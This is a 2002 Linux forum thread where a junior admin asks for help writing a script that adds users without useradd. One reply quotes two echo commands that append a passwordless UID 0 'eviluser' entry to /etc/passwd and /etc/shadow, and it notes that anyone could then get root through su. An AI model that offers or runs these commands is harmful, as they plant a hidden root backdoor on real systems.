LinuxQuestions.org
Download your favorite Linux distribution at LQ ISO.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices

Reply
 
Search this Thread
Old 02-25-2002, 10:09 PM   #1
zyft02
LQ Newbie
 
Registered: Feb 2002
Location: Dallas
Distribution: Redhat
Posts: 3

Rep: Reputation: 0
Post Script that would automate adding users


Create a script that would automate adding users. The script SHOULD NOT use the functionality "useradd" that comes with the system, to create users. Each user should be added manually
Creating the password should also be incorporated in the script. That means, when you call the script to create a user, you also give it the password value, and then, your script will create the user and also create the password without prompting you for anything.

Ex:

Assume the name of your script is create_users . Then the following command:

./create_users smith 1001 120 initpassvalue "Alex Smith" /home/smith /bin/bash

./create_users username uid gid initial_password user_information home_directory default_shell

will create a user named smith, with UID 101, add to primary group 120, home directory /home/smith, information about the account being "Alex Smith", with the bash shell as the default login shell and with the initial password set to initpassvalue. A .profile file and a .login file should automatically be copied into the home directory, every time a user is created.

The system will incorporate the shadow password file. The password should automatically have the default values for the following:

passwd length should be at least 8 characters

The password should be valid for 3 months


Can anyone provide any clues or hints for me? thanks in advance!

Dave
 
Old 02-25-2002, 10:48 PM   #2
trickykid
Guru
 
Registered: Jan 2001
Posts: 24,133

Rep: Reputation: 197Reputation: 197
are you asking us to do your homework ?? that is what it looks like ??
 
Old 02-25-2002, 10:48 PM   #3
neo77777
LQ Addict
 
Registered: Dec 2001
Location: Brooklyn, NY
Distribution: *NIX
Posts: 3,704

Rep: Reputation: 55
Sounds like a test question, or well, they said no "useradd", try to acuire a source for useradd, it might help, I think it uses echo redirected directly to a shadow password file, let me see in Linux Journal, they had a similar thingy, but the user had no password and ability to gain root privileges.
 
Old 02-25-2002, 10:54 PM   #4
zyft02
LQ Newbie
 
Registered: Feb 2002
Location: Dallas
Distribution: Redhat
Posts: 3

Original Poster
Rep: Reputation: 0
I'm a jr. admin in our UNIX group and the Sr. guy is having a few of us come up with this by friday. winner gets a free lunch from him.
 
Old 02-25-2002, 11:19 PM   #5
neo77777
LQ Addict
 
Registered: Dec 2001
Location: Brooklyn, NY
Distribution: *NIX
Posts: 3,704

Rep: Reputation: 55
In linux journal they have two echo commands
Quote:
echo "eviluser:x:0:0::/:/bin/bash">>/etc/passwd
echo "eviluser::11636:0:99999:7:::">>/etc/shadow
I know what these numbers are, but I am not telling you, because I am hungry (kidding), try to find out yourself. What it does it creates the user with username eviluser with uid and gid set to 0, and there's no encrypted password which goes to /etc/shadow, so if it's done as root, now any user can gain root access just typing
/bin/su - eviluser
Good luck on this one, so as for encryption I think pam utils package is the solution, so keep on reading man pages and you'll get your launch.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
Adding new users via Shell script coolfrog Linux - General 10 12-05-2010 10:47 AM
how to automate telnet login, script or something kiwibird Linux - Networking 2 11-09-2005 02:02 PM
automate script w/ cron viniosity Linux - Newbie 5 02-02-2005 03:13 PM
Kermit Script to Automate FTP SSL/TLS fiddelm3742 Linux - Software 0 05-18-2004 11:53 PM
bash script for adding multiple users pilipk01 Linux - Newbie 4 01-12-2004 10:05 PM


All times are GMT -5. The time now is 01:29 AM.

Main Menu
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
identi.ca: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration